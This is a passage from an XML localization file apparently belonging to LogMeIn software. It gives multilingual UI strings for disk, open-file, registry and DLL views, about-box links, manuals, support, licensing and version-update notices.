<pt-br>Na unidade física</pt-br>
<nl>Op fysiek schijfstation</nl>
</msg>
<msg name="CAPACITY">
<en>Capacity</en>
<de>Kapazität</de>
<es>Capacidad</es>
<fr>Capacité</fr>
<it>Capacità</it>
<ru>Емкость</ru>
<ja>容量</ja>
<zh>容量</zh>
<ko>용량</ko>
<en-gb>Capacity</en-gb>
<hu>Kapacitás</hu>
<pt-br>Capacidade</pt-br>
<nl>Capaciteit</nl>
</msg>
<msg name="UNUSED">
<en>Unused</en>
<de>Frei</de>
<es>Sin usar</es>
<fr>Non utilisé</fr>
<it>Inutilizzato</it>
<ru>Не используется</ru>
<ja>未使用</ja>
<zh>未使用</zh>
<ko>사용되지 않음</ko>
<en-gb>Unused</en-gb>
<hu>Használatlan</hu>
<pt-br>Não usada</pt-br>
<nl>Niet gebruikt</nl>
</msg>
<msg name="UNRECOGNIZED">
<en>Unrecognized</en>
<de>Unbekannt</de>
<es>No reconocido</es>
<fr>Non reconnu</fr>
<it>Non riconosciuto</it>
<ru>Не распознан</ru>
<ja>不明</ja>
<zh>未识别</zh>
<ko>인식할 수 없음</ko>
<en-gb>Unrecognised</en-gb>
<hu>Fel nem ismert</hu>
<pt-br>Não reconhecida</pt-br>
<nl>Niet herkend</nl>
</msg>
<msg name="LOCALDISK">
<en>Local Disk</en>
<de>Lokales Laufwerk</de>
<es>Disco local</es>
<fr>Volume local</fr>
<it>Disco locale</it>
<ru>Локальный диск</ru>
<ja>ローカル ディスク</ja>
<zh>本地磁盘</zh>
<ko>논리 디스크</ko>
<en-gb>Local Disk</en-gb>
<hu>Helyi lemez</hu>
<pt-br>Disco local</pt-br>
<nl>Lokaal schijfstation</nl>
</msg>
</cat>
<!-- "files in use" messages -->
<cat name="FILES">
<msg name="TITLE">
<en>Open Files</en>
<de>Geöffnete Dateien</de>
<es>Archivos abiertos</es>
<fr>Fichiers ouverts</fr>
<it>File aperti</it>
<ru>Открыть файлы</ru>
<ja>オープンファイル</ja>
<zh>打开文件</zh>
<ko>파일 열기</ko>
<en-gb>Open Files</en-gb>
<hu>Nyitott fájlok</hu>
<pt-br>Arquivos abertos</pt-br>
<nl>Geopende bestanden</nl>
</msg>
</cat>
<!-- "registry keys in use" messages -->
<cat name="REG">
<msg name="TITLE">
<en>Registry Keys In Use</en>
<de>Geöffnete Registrierungsschlüssel</de>
<es>Claves de registro en uso</es>
<fr>Clefs de registre en cours d'util.</fr>
<it>Chiavi del Registro di sistema in uso</it>
<ru>Разделы реестра используются</ru>
<ja>使用中のレジストリ キー</ja>
<zh>正在使用的注册表项</zh>
<ko>사용 중인 레지스트리 키</ko>
<en-gb>Registry Keys In Use</en-gb>
<hu>Használt rendszerleíró kulcsok</hu>
<pt-br>Chaves de Registro em uso</pt-br>
<nl>Registersleutels in gebruik</nl>
</msg>
</cat>
<!-- "dlls in use" messages -->
<cat name="DLL">
<msg name="TITLE">
<en>DLLs In Use</en>
<de>Geladene DLLs</de>
<es>DLLs en uso</es>
<fr>DLLs en cours d'utilisation</fr>
<it>DLL in uso</it>
<ru>DLL-файлы используются</ru>
<ja>使用中の DLL</ja>
<zh>正在使用的 DLL</zh>
<ko>사용 중인 DLL</ko>
<en-gb>DLLs In Use</en-gb>
<hu>Használatban levő DLL-ek</hu>
<pt-br>DLLs em uso</pt-br>
<nl>DLL's in gebruik</nl>
</msg>
<msg name="REF">
<en>References</en>
<de>Referenzen</de>
<es>Referencias</es>
<fr>Références</fr>
<it>Riferimenti</it>
<ru>Ссылки</ru>
<ja>参考資料</ja>
<zh>参考</zh>
<ko>참조</ko>
<en-gb>References</en-gb>
<hu>Referenciák</hu>
<pt-br>Referências</pt-br>
<nl>Verwijzingen</nl>
</msg>
</cat>
<!-- "about" messages -->
<cat name="ABOUT">
<msg name="TITLE">
<en>About %PRODUCTNAME</en>
<de>Über %PRODUCTNAME</de>
<es>Acerca de %PRODUCTNAME</es>
<fr>Au sujet de %PRODUCTNAME</fr>
<it>Informazioni su %PRODUCTNAME</it>
<ru>О %PRODUCTNAME</ru>
<ja>%PRODUCTNAME について</ja>
<zh>关于 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 정보</ko>
<en-gb>About %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME Súgó</hu>
<pt-br>Sobre %PRODUCTNAME</pt-br>
<nl>Info over %PRODUCTNAME</nl>
</msg>
<msg name="TITLEDESC">
<en>License and version information.</en>
<de>Lizenz und Versionsinformationen.</de>
<es>Información sobre licencia y versión.</es>
<fr>Informations sur la license et la version</fr>
<it>Informazioni su licenza e versione.</it>
<ru>Информация о лицензии и версии.</ru>
<ja>ライセンスおよびバージョン情報</ja>
<zh>许可证和版本信息。</zh>
<ko>라이센스 및 버전 정보.</ko>
<en-gb>Licence and version information.</en-gb>
<hu>Licensz- és verzió-információk.</hu>
<pt-br>Informações de versão e licença.</pt-br>
<nl>Licentie- en versiegegevens.</nl>
</msg>
<msg name="GUIDE">
<en>%PRODUCTNAME Getting Started</en>
<de>%PRODUCTNAME Erste Schritte</de>
<es>Guía Comenzar a utilizar de %PRODUCTNAME</es>
<fr>%PRODUCTNAME en cours d'initialisation.</fr>
<it>Guida introduttiva di %PRODUCTNAME</it>
<ru>Руководство по началу работы %PRODUCTNAME</ru>
<ja>%PRODUCTNAME 入門ガイド</ja>
<zh>%PRODUCTNAME 入门</zh>
<ko>%PRODUCTNAME 시작</ko>
<en-gb>%PRODUCTNAME Getting Started</en-gb>
<hu>%PRODUCTNAME - Első lépések</hu>
<pt-br>Introdução do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Aan de slag</nl>
</msg>
<msg name="GUIDEDESC">
<en>This document contains simple step by step
instructions on how to get started with %PRODUCTNAME.</en>
<de>Dieses Dokument beschreibt Schritt für Schritt wie Sie %PRODUCTNAME in Betrieb nehmen 
und dient als Kurzkompendium für die Nutzung. Es ersetzt nicht das Handbuch.</de>
<es>Este documento contiene instrucciones
paso a paso acerca de cómo utilizar %PRODUCTNAME.</es>
<fr>Ce document contient des instruction simples
pour commencer à utiliser %PRODUCTNAME</fr>
<it>Questo documento contiene istruzioni dettagliate di facile esecuzione che spiegano come iniziare a utilizzare %PRODUCTNAME.</it>
<ru>Данный документ содержит простые пошаговые инструкции по началу работы с %PRODUCTNAME.</ru>
<ja>このドキュメントでは、%PRODUCTNAME を初めて使う場合の手順をわかりやすく説明しています。</ja>
<zh>此文档简要介绍了有关初次使用 %PRODUCTNAME 的逐步说明。</zh>
<ko>이 문서에서는 %PRODUCTNAME을(를) 시작하는 방법을 간단하게 단계별로 보여줍니다.</ko>
<en-gb>This document contains simple step by step instructions on how to get started with %PRODUCTNAME.</en-gb>
<hu>A jelen dokumentum egyszerű, lépésről-lépésre
utasításokat tartalmaz a %PRODUCTNAME termékkel való munka elkezdéséhez.</hu>
<pt-br>Este documento contém um passo a passo simples
sobre a introdução no %PRODUCTNAME.</pt-br>
<nl>Dit document bevat eenvoudige stapsgewijze instructies zodat u snel aan de slag kunt met %PRODUCTNAME.</nl>
</msg>
<msg name="ONLINEMANUAL">
<en>%PRODUCTNAME Online Manual</en>
<de>%PRODUCTNAME Online Handbuch</de>
<es>Manual en línea de %PRODUCTNAME</es>
<fr>Manuel en ligne de %PRODUCTNAME (anglais)</fr>
<it>Manuale in linea di %PRODUCTNAME</it>
<ru>Интерактивное руководство %PRODUCTNAME</ru>
<ja>%PRODUCTNAME オンライン マニュアル</ja>
<zh>%PRODUCTNAME 联机手册</zh>
<ko>%PRODUCTNAME 온라인 설명서</ko>
<en-gb>%PRODUCTNAME Online Manual</en-gb>
<hu>%PRODUCTNAME online kézikönyv</hu>
<pt-br>Manual online do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Online handleiding</nl>
</msg>
<msg name="ONLINEMANUALDESC">
<en>View the Online Manual for more detailed information about %PRODUCTNAME.</en>
<de>Das Handbuch ist die beste Quelle, wenn Sie sich gründlich informieren wollen,
wie Sie %PRODUCTNAME am vorteilhaftesten einsetzen können.</de>
<es>Ver el Manual en línea para obtener más información acerca de %PRODUCTNAME.</es>
<fr>Le manuel est le meilleur endroit pour apprendre à tirer
le meilleur parti de %PRODUCTNAME.</fr>
<it>Per informazioni dettagliate su %PRODUCTNAME, vedere il manuale in linea.</it>
<ru>См. интерактивное руководство, чтобы получить более подробную информацию о %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME に関する詳細は、オンライン マニュアルを参照してください。</ja>
<zh>有关 %PRODUCTNAME 的更多详细信息,请查看联机手册。</zh>
<ko>%PRODUCTNAME에 대한 자세한 내용은 온라인 설명서를 참조하십시오.</ko>
<en-gb>View the Online Manual for more detailed information about %PRODUCTNAME.</en-gb>
<hu>Tekintse meg az online kézikönyvet a %PRODUCTNAME termékkel kapcsolatos részletes információkért.</hu>
<pt-br>Visualize o Manual Online para obter mais informações detalhadas sobre o %PRODUCTNAME.</pt-br>
<nl>Raadpleeg de online handleiding voor meer gedetailleerde informatie over%PRODUCTNAME.</nl>
</msg>
<msg name="MANUAL">
<en>%PRODUCTNAME User's Guide</en>
<de>%PRODUCTNAME Benutzerhandbuch</de>
<es>Guía de usuario de %PRODUCTNAME</es>
<fr>Guide utilisateur de %PRODUCTNAME</fr>
<it>Manuale dell'utente di %PRODUCTNAME</it>
<ru>Руководство пользователя %PRODUCTNAME</ru>
<ja>%PRODUCTNAME ユーザ ガイド</ja>
<zh>%PRODUCTNAME 用户指南</zh>
<ko>%PRODUCTNAME 사용 설명서</ko>
<en-gb>%PRODUCTNAME User Guide</en-gb>
<hu>%PRODUCTNAME felhasználói útmutató</hu>
<pt-br>Guia do usuário do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Gebruikershandleiding</nl>
</msg>
<msg brand="LMI" name="MANUAL">
<en>%PRODUCTNAME User Guide</en>
<de>%PRODUCTNAME Benutzerhandbuch</de>
<es>Guía de usuario de %PRODUCTNAME</es>
<fr>Guide utilisateur de %PRODUCTNAME</fr>
<it>Manuale dell'utente di %PRODUCTNAME</it>
<ru>Руководство пользователя %PRODUCTNAME</ru>
<ja>%PRODUCTNAME ユーザ ガイド</ja>
<zh>%PRODUCTNAME 用户指南</zh>
<ko>%PRODUCTNAME 사용 설명서</ko>
<en-gb>%PRODUCTNAME User Guide</en-gb>
<hu>%PRODUCTNAME felhasználói útmutató</hu>
<pt-br>Guia do usuário do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Gebruikershandleiding</nl>
</msg>
<msg name="MANUALDESC">
<en>Download the %PRODUCTNAME manual as an Acrobat Reader document.</en>
<de>%PRODUCTNAME Handbuch als PDF-Dokument downloaden.</de>
<es>Descárguese el manual de %PRODUCTNAME en formato PDF.</es>
<fr>Téléchargez le manuel de %PRODUCTNAME comme document de lecteur d'acrobate.</fr>
<it>Consente di effettuare il download del manuale %PRODUCTNAME come documento di Acrobat Reader.</it>
<ru>Загрузите данное руководство по %PRODUCTNAME как документ для Acrobat Reader.</ru>
<ja>PDF の %PRODUCTNAME マニュアルをダウンロードしてください。</ja>
<zh>下载 Acrobat Reader 文档格式的 %PRODUCTNAME 手册。</zh>
<ko>%PRODUCTNAME 설명서를 Acrobat Reader 문서로 다운로드하십시오.</ko>
<en-gb>Download the %PRODUCTNAME manual as an Acrobat Reader document.</en-gb>
<hu>Töltse le a %PRODUCTNAME kézikönyvet Acrobat Reader dokumentum formátumban.</hu>
<pt-br>Baixe o manual do %PRODUCTNAME como um documento do Acrobat Reader.</pt-br>
<nl>De handleiding van %PRODUCTNAME downloaden als een document in Acrobat Reader-bestandsindeling.</nl>
</msg>
<msg brand="LMI" name="MANUALDESC">
<en>View the User Guide for more information on %PRODUCTNAME.</en>
<de>%PRODUCTNAME Handbuch als PDF-Dokument downloaden.</de>
<es>Descárguese el manual de %PRODUCTNAME en formato PDF.</es>
<fr>Téléchargez le manuel de %PRODUCTNAME comme document de lecteur d'acrobate.</fr>
<it>Consente di effettuare il download del manuale %PRODUCTNAME come documento di Acrobat Reader.</it>
<ru>Загрузите данное руководство по %PRODUCTNAME как документ для Acrobat Reader.</ru>
<ja>PDF の %PRODUCTNAME マニュアルをダウンロードしてください。</ja>
<zh>下载 Acrobat Reader 文档格式的 %PRODUCTNAME 手册。</zh>
<ko>%PRODUCTNAME 설명서를 Acrobat Reader 문서로 다운로드하십시오.</ko>
<en-gb>View the User Guide for more information on %PRODUCTNAME.</en-gb>
<hu>Töltse le a %PRODUCTNAME kézikönyvet Acrobat Reader dokumentum formátumban.</hu>
<pt-br>Baixe o manual do %PRODUCTNAME como um documento do Acrobat Reader.</pt-br>
<nl>De handleiding van %PRODUCTNAME downloaden als een document in Acrobat Reader-bestandsindeling.</nl>
</msg>
<msg name="SUPPORT">
<en>%PRODUCTNAME Customer Support</en>
<de>%PRODUCTNAME Support</de>
<es>Atención al cliente de %PRODUCTNAME</es>
<fr>Support client de %PRODUCTNAME</fr>
<it>Supporto clienti di %PRODUCTNAME</it>
<ru>Служба поддержки клиентов %PRODUCTNAME</ru>
<ja>%PRODUCTNAME カスタマ サポート</ja>
<zh>%PRODUCTNAME 客户支持</zh>
<ko>%PRODUCTNAME 고객 지원</ko>
<en-gb>%PRODUCTNAME Customer Support</en-gb>
<hu>%PRODUCTNAME Ügyféltámogatás</hu>
<pt-br>Suporte ao cliente do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Klantensupport</nl>
</msg>
<msg name="SUPPORTDESC">
<en>Visit this page for customer support on %PRODUCTNAME.</en>
<de>Besuchen sie die Seite für den Support für %PRODUCTNAME.</de>
<es>Visite esta página para obtener atención al cliente de %PRODUCTNAME.</es>
<fr>Merci de visiter cette page pour le support clientèle de %PRODUCTNAME.</fr>
<it>Per il supporto clienti di %PRODUCTNAME, visitare questa pagina.</it>
<ru>Посетите данную страницу, чтобы обратиться в службу поддержки клиентов %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME のカスタマ サポートについては、このページを参照してください。</ja>
<zh>有关 %PRODUCTNAME 的客户支持,请访问此页面。</zh>
<ko>%PRODUCTNAME의 고객 지원에 대해 알려면 이 페이지를 확인하십시오.</ko>
<en-gb>Visit this page for customer support on %PRODUCTNAME.</en-gb>
<hu>Látogassa meg ezt az oldalt, a %PRODUCTNAME termékkel kapcsolatos ügyféltámogatésért.</hu>
<pt-br>Visite esta página para obter suporte ao cliente do %PRODUCTNAME.</pt-br>
<nl>Ga naar deze webpagina voor de klantensupport voor %PRODUCTNAME.</nl>
</msg>
<msg name="COMMUNITY">
<en>Community</en>
<de>Foren</de>
<es>Foros</es>
<fr>Forums</fr>
<it>Forum</it>
<ru>Форумы</ru>
<ja>フォーラム</ja>
<zh>论坛</zh>
<ko>포럼</ko>
<en-gb>Community</en-gb>
<hu>Fórumok</hu>
<pt-br>Fóruns</pt-br>
<nl>Forums</nl>
</msg>
<msg name="COMMUNITYDESC">
<en>Seek or give advice in the Community.</en>
<de>Tauschen Sie in der Community Ratschläge aus.</de>
<es>Busque o aporte consejos en la comunidad.</es>
<fr>Échangez des conseils dans la Communauté.</fr>
<it>Cerca e offri consigli nella Community.</it>
<ru>Ищите или давайте советы в сообществе.</ru>
<ja>コミュニティで相談する。</ja>
<zh>在社区中寻求帮助或提供建议。</zh>
<ko>커뮤니티에 조언 제공.</ko>
<en-gb>Seek or give advice in the Community.</en-gb>
<hu>Tanácsot kérhet a közösség többi felhasználójától, és Ön is segíthet másoknak.</hu>
<pt-br>Busque ou dê conselhos na Comunidade.</pt-br>
<nl>Ga naar de community voor het verkrijgen of geven van advies.</nl>
</msg>
<msg name="DOTCOMDESC">
<en>For customer support and the latest information on %PRODUCTNAME and its publishers,
LogMeIn, Inc., visit the %PRODUCTNAME website.</en>
<de>Für Support und neueste Information über %PRODUCTNAME und über den
Hersteller, LogMeIn, Inc., besuchen sie die %PRODUCTNAME Webseite.</de>
<es>Para obtener atención al cliente y la información más reciente sobre %PRODUCTNAME y su fabricante,
LogMeIn, Inc., visite la página web de %PRODUCTNAME.</es>
<fr>Pour le support à la clientèle et les dernières informations sur %PRODUCTNAME et son éditeur, LogMeIn, Inc., rendez-vous sur le site Internet de %PRODUCTNAME.</fr>
<it>Per il supporto clienti e le ultime informazioni su %PRODUCTNAME e i suoi autori, LogMeIn, Inc., visitare il sito Web di %PRODUCTNAME.</it>
<ru>Чтобы обратиться в службу поддержки клиентов и получить последнюю информацию о продукте %PRODUCTNAME и его издателях, LogMeIn, Inc, посетите веб-сайт %PRODUCTNAME.</ru>
<ja>カスタマ サポート、および %PRODUCTNAME とその発行元である LogMeIn, Inc. に関する最新情報は、 %PRODUCTNAME のWeb サイトをご覧ください。</ja>
<zh>有关 %PRODUCTNAME 的客户支持和最新信息及其发布者 LogMeIn, Inc.,请访问 %PRODUCTNAME Web 站点。</zh>
<ko>고객 지원 및 %PRODUCTNAME 및 발행인(LogMeIn, Inc.)에 대한 최신 정보를 보려면 %PRODUCTNAME 웹 사이트를 확인하십시오.</ko>
<en-gb>For customer support and the latest information on %PRODUCTNAME and its publishers, LogMeIn, Inc., visit the %PRODUCTNAME website.</en-gb>
<hu>Ügyféltámogatásért és a legfrissebb információkért a %PRODUCTNAME termékkel és kiadóival (LogMeIn Inc.) kapcsolatosan
látogassa meg a %PRODUCTNAME webhelyét.</hu>
<pt-br>Para obter suporte ao cliente e as informações mais recentes do %PRODUCTNAME e seus editores, 
LogMeIn, Inc., visite o site do %PRODUCTNAME.</pt-br>
<nl>Voor klantensupport en de meest recente informatie over %PRODUCTNAME en de makers van dit product, LogMeIn, Inc., bezoekt u de website van %PRODUCTNAME.</nl>
</msg>
<msg name="LICENSE">
<en>Terms and Conditions of Use</en>
<de>Softwarelizenz</de>
<es>Licencia del programa</es>
<fr>Licence logicielle</fr>
<it>Licenza software</it>
<ru>Лицензия на программу</ru>
<ja>ソフトウェア ライセンス</ja>
<zh>软件许可证</zh>
<ko>소프트웨어 라이센스</ko>
<en-gb>Software Licence</en-gb>
<hu>Szoftver-licensz</hu>
<pt-br>Licença do software</pt-br>
<nl>Softwarelicentie</nl>
</msg>
<msg name="LICENSEDESC">
<en>Read the legal terms and conditions of your software license.</en>
<de>Lesen Sie bitte die Bestimmungen und Konditionen Ihrer Softwarelizenz.</de>
<es>Lea los términos y condiciones legales de la licencia del programa.</es>
<fr>Lisez les termes et conditions légaux de votre licence logicielle.</fr>
<it>Leggere i termini legali e le condizioni della licenza software.</it>
<ru>Прочтите юридические положения и условия своей лицензии на программу.</ru>
<ja>ソフトウェア ライセンスの使用条件をお読みください。</ja>
<zh>阅读您的软件许可证的法律条款和条件。</zh>
<ko>소프트웨어 라이센스에 대한 법적 조항 및 조건을 읽어 보십시오.</ko>
<en-gb>Read the legal terms and conditions of your software licence.</en-gb>
<hu>Olvassa el a szoftver-licensz jogi feltételeit.</hu>
<pt-br>Leia os termos e condições legais da licença do seu software.</pt-br>
<nl>Lees de wettelijke voorwaarden en bepalingen die gekoppeld zijn aan het gebruik van uw softwarelicentie.</nl>
</msg>
<msg name="OPENSSL">
<en>OpenSSL</en>
<de>OpenSSL</de>
<es>OpenSSL</es>
<fr>OpenSSL</fr>
<it>Apri SSL</it>
<ru>OpenSSL</ru>
<ja>OpenSSL</ja>
<zh>OpenSSL</zh>
<ko>OpenSSL</ko>
<en-gb>OpenSSL</en-gb>
<hu>OpenSSL</hu>
<pt-br>OpenSSL</pt-br>
<nl>OpenSSL</nl>
</msg>
<msg name="OPENSSH">
<en>OpenSSH</en>
<de>OpenSSH</de>
<es>OpenSSH</es>
<fr>OpenSSH</fr>
<it>Apri SSH</it>
<ru>OpenSSH</ru>
<ja>OpenSSH</ja>
<zh>OpenSSH</zh>
<ko>OpenSSH</ko>
<en-gb>OpenSSH</en-gb>
<hu>OpenSSH</hu>
<pt-br>OpenSSH</pt-br>
<nl>OpenSSH</nl>
</msg>
</cat>
<msg name="SHOWNOTD">
<en>Show News</en>
<de>Neuigkeiten anzeigen</de>
<es>Mostrar Noticias</es>
<fr>Montrer les actualités</fr>
<it>Mostra notizie</it>
<ru>Показать новости</ru>
<ja>最新情報を表示</ja>
<zh>显示新闻</zh>
<ko>뉴스 표시</ko>
<en-gb>Show News</en-gb>
<hu>Hírek mutatása</hu>
<pt-br>Mostrar notícias</pt-br>
<nl>Nieuws weergeven</nl>
</msg>
<msg name="HIDENOTD">
<en>Hide News</en>
<de>Nachrichten ausblenden</de>
<es>Ocultar Noticias</es>
<fr>Cacher les actualités</fr>
<it>Nascondi notizie</it>
<ru>Скрыть новости</ru>
<ja>最新情報を隠す</ja>
<zh>隐藏新闻</zh>
<ko>뉴스 숨기기</ko>
<en-gb>Hide News</en-gb>
<hu>Hírek elrejtése</hu>
<pt-br>Ocultar notícias</pt-br>
<nl>Nieuws verbergen</nl>
</msg>
<!-- "version update notification" messages -->
<cat name="UPDATE">
<cat name="MACMENU">
<msg os="macosx" name="ABOUT">
<en>About LogMeIn Updater</en>
<de>Über LogMeIn Updater</de>
<es>Acerca del Actualizador de LogMeIn</es>
<fr>A propos de LogMeIn Updater</fr>
<it>Informazioni su LogMeIn Updater</it>
<ru>О программе обновления LogMeIn</ru>
<ja>LogMeIn アップデータについて</ja>
<zh>关于 LogMeIn Updater</zh>
<ko>LogMeIn Updater 정보</ko>
<hu>A LogMeIn frissítő névjegye</hu>
<pt-br>Sobre o Atualizador do LogMeIn</pt-br>
<nl>Info over het updateprogramma van LogMeIn</nl>
</msg>
<msg os="macosx" name="HIDE">
<en>Hide LogMeIn Updater</en>
<de>LogMeIn Updater ausblenden</de>
<es>Ocultar el Actualizador de LogMeIn</es>
<fr>Masquer LogMeIn Updater</fr>
<it>Nascondi LogMeIn Updater</it>
<ru>Скрыть программу обновления LogMeIn</ru>
<ja>LogMeIn アップデータを隠す</ja>
<zh>隐藏 LogMeIn Updater</zh>
<ko>LogMeIn Updater 숨김</ko>
<hu>A LogMeIn frissítő elrejtése</hu>
<pt-br>Ocultar o Atualizador do LogMeIn</pt-br>
<nl>Het updateprogramma van LogMeIn verbergen</nl>
</msg>
<msg os="macosx" name="APPTITLE">
<en>LogMeIn Updater</en>
<de>LogMeIn Updater</de>
<es>Actualizador de LogMeIn</es>
<fr>LogMeIn Updater</fr>
<it>LogMeIn Updater</it>
<ru>Программа обновления LogMeIn</ru>
<ja>LogMeIn アップデータ</ja>
<zh>LogMeIn Updater</zh>
<ko>LogMeIn Updater</ko>
<hu>LogMeIn frissítő</hu>
<pt-br>Atualizador do LogMeIn</pt-br>
<nl>Updateprogramma van LogMeIn</nl>
</msg>
<msg os="macosx" name="QUIT">
<en>Quit LogMeIn Updater</en>
<de>LogMeIn Updater beenden</de>
<es>Salir del Actualizador de LogMeIn</es>
<fr>Quitter LogMeIn Updater</fr>
<it>Esci da LogMeIn Updater</it>
<ru>Выйти из программы обновления LogMeIn</ru>
<ja>LogMeIn アップデータの終了</ja>
<zh>退出 LogMeIn Updater</zh>
<ko>LogMeIn Updater 종료</ko>
<hu>Kilépés a LogMeIn frissítőből</hu>
<pt-br>Sair do Atualizador do LogMeIn</pt-br>
<nl>Het updateprogramma van LogMeIn sluiten</nl>
</msg>
</cat>
<msg name="TITLE">
<en>Version Update</en>
<de>Versionsaktualisierung</de>
<es>Actualización de la versión</es>
<fr>Version de mise à jour</fr>
<it>Aggiornamento versione</it>
<ru>Обновление версии</ru>
<ja>バージョンの更新</ja>
<zh>版本更新</zh>
<ko>버전 업데이트</ko>
<en-gb>Version Update</en-gb>
<hu>Verzió-frissítés</hu>
<pt-br>Atualização da versão</pt-br>
<nl>Update van versie</nl>
</msg>
<msg name="MAJOR">
<en>A major new version of %PRODUCTNAME, %RANEW.VERSION, is available for download.
This release includes important new features and improvements.</en>
<de>Die neue Version %PRODUCTNAME %RANEW.VERSION steht zum Download bereit.
Das Release enthält neu Funktionen und Verbesserungen.</de>
<es>Ya puede descargar una nueva versión principal de %PRODUCTNAME, %RANEW.VERSION.
Esta versión incluye nuevas características y mejoras significativas.</es>
<fr>Une nouvelle version importante de %PRODUCTNAME,
%PRODUCTNAMENEW.VERSION, est disponible pour le téléchargement. 
Cette version inclut de nouveaux dispositifs et améliorations importants.</fr>
<it>Un'importante nuova versione di %PRODUCTNAME, %RANEW.VERSION, è disponibile per il download.
Questa versione include nuovi e importanti miglioramenti e funzioni.</it>
<ru>Основная новая версия продукта %PRODUCTNAME,%RANEW.VERSION, доступна для загрузки.
Этот выпуск включает в себя важные новые функции и улучшения.</ru>
<ja>%PRODUCTNAME の新しいメジャー バージョン、%RANEW.VERSION をダウンロードできます。このリリースには、重要な新機能および改善機能があります。</ja>
<zh>现在可以下载 %PRODUCTNAME 的主要新版本 %RANEW.VERSION。
此版本包括重要的新功能和改进。</zh>
<ko>%PRODUCTNAME의 새로운 주 버전인 %RANEW.VERSION을(를) 다운로드할 수 있습니다. 이 릴리스에는 중요한 새 기능이 추가되었으며 성능도 개선되었습니다.</ko>
<en-gb>A major new version of %PRODUCTNAME, %RANEW.VERSION, is available for download.
This release includes important new features and improvements.</en-gb>
<hu>A %PRODUCTNAME, %RANEW.VERSION, új főverzió elérhető letöltésre.
Ez a kiadás fontos új funkciókat és fejlesztéseket tartalmaz.</hu>
<pt-br>Uma nova versão principal do %PRODUCTNAME%RANEW.VERSION está disponível para download.
Esta versão inclui novos recursos e aprimoramentos importantes.</pt-br>
<nl>Een nieuwe essentiële versie van %PRODUCTNAME, %RANEW.VERSION, is nu beschikbaar om te worden gedownload. Deze versie bevat belangrijke nieuwe functies en verbeteringen.</nl>
</msg>
<msg name="MINOR">
<en>A new release of %PRODUCTNAME, version %RANEW.VERSION, is available for download.
This release includes improvements and fixes.</en>
<de>Eine Aktualisierung für Ihre %PRODUCTNAME Version %RANEW.VERSION steht
zum Download bereit. Das Release enthält neu Funktionen und Verbesserungen.</de>
<es>Ya puede descargar una nueva versión de %PRODUCTNAME, la versión %RANEW.VERSION.
Esta versión incluye mejoras y soluciones.</es>
<fr>Une nouvelle version de %PRODUCTNAME, %PRODUCTNAMENEW.VERSION, est disponible pour le téléchargement. 
Cette version inclut des améliorations et des rustines.</fr>
<it>Una nuova versione di %PRODUCTNAME, versione %RANEW.VERSION, è disponibile per il download.
Questa versione include miglioramenti e correzioni.</it>
<ru>Новый выпуск продукта %PRODUCTNAME, версия %RANEW.VERSION, доступен для загрузки.
Этот выпуск включает в себя улучшения и исправления.</ru>
<ja>%PRODUCTNAME の新しいリリース、%RANEW.VERSION をダウンロードできます。このリリースには改善と修正が含まれています。</ja>
<zh>现在可以下载 %PRODUCTNAME 的新版本,即版本 %RANEW.VERSION。
此版本包括了改进和修复。</zh>
<ko>%PRODUCTNAME의 새로운 릴리스인 %RANEW.VERSION 버전은 다운로드할 수 있습니다 이 릴리스에서 성능을 개선 및 보완했습니다.</ko>
<en-gb>A new release of %PRODUCTNAME, version %RANEW.VERSION, is available for download.
This release includes improvements and fixes.</en-gb>
<hu>A %PRODUCTNAME, %RANEW.VERSION, verziónak új kiadása elérhető letöltésre.
Ez a kiadás fejlesztéseket és javításokat tartalmaz.</hu>
<pt-br>Uma nova versão %PRODUCTNAME, %RANEW.VERSION está disponível para download.
Esta versão inclui aprimoramentos e fixes.</pt-br>
<nl>Een nieuwe release van %PRODUCTNAME, versie %RANEW.VERSION, is nu beschikbaar om te worden gedownload. Deze release bevat een aantal verbeteringen en softwarefixes.</nl>
</msg>
<msg name="BUILD">
<en>A minor update is available for %PRODUCTNAME. This release includes fixes
for certain problems.</en>
<de>Eine geringfügige Aktualisierung ist für %PRODUCTNAME verfügbar. Diese
bringt Lösungen zu kürzlich gemeldeten Problemstellungen.</de>
<es>Existe una actualización menor para %PRODUCTNAME. Incluye soluciones
para algunos problemas.</es>
<fr>Une mise à jour mineure est disponible pour %PRODUCTNAME. Cette version inclut des rustines
pour des problèmes présents sur les versions précédentes.</fr>
<it>Per %PRODUCTNAME è disponile un aggiornamento secondario. Questa versione include le correzioni per determinati problemi.</it>
<ru>Для продукта %PRODUCTNAME доступно незначительное обновление. Этот выпуск включает в себя исправления некоторых проблем.</ru>
<ja>%PRODUCTNAME のマイナー アップデートをダウンロードできますこのリリースには特定の問題の修正が含まれています。</ja>
<zh>已对 %PRODUCTNAME 进行了少量更新。此版本已对某些问题进行了修复。</zh>
<ko>%PRODUCTNAME의 마이너 업데이트를 수행할 수 있습니다. 이 릴리스에서 일부 문제를 해결했습니다.</ko>
<en-gb>A minor update is available for %PRODUCTNAME. This release includes fixes for certain problems.</en-gb>
<hu>Egy kisverzió elérhető a %PRODUCTNAME termékhez. Ez a kiadás bizonyos problémák
javításait tartalmazza.</hu>
<pt-br>Uma pequena atualização está disponível para o %PRODUCTNAME. Esta versão contém fixes
para alguns problemas.</pt-br>
<nl>Er is een niet-essentiële update beschikbaar voor %PRODUCTNAME. Deze release bevat softwarefixes voor bepaalde problemen.</nl>
</msg>
<msg name="UPGRADE">
<en>To upgrade, please click the link below.</en>
<de>Wenn Sie jetzt aktualisieren möchten, klicken Sie bitte auf den folgenden Link.</de>
<es>Para actualizar, haga clic en el siguiente vínculo.</es>
<fr>Pour mettre à jour, merci de suivre le lien ci-dessous.</fr>
<it>Per eseguire l'aggiornamento, fare clic sul collegamento riportato di seguito.</it>
<ru>Чтобы выполнить обновление, щелкните представленную ниже ссылку.</ru>
<ja>アップグレードするには、以下のリンクをクリックします。</ja>
<zh>要升级,请单击以下链接。</zh>
<ko>업그레이드하려면 아래 링크를 클릭하십시오.</ko>
<en-gb>To upgrade, please click the link below.</en-gb>
<hu>A frissítéshez kattintson az alábbi hivatkozásra.</hu>
<pt-br>Para atualizar, clique no link abaixo.</pt-br>
<nl>Als u een upgrade wilt uitvoeren, klikt u op de onderstaande link.</nl>
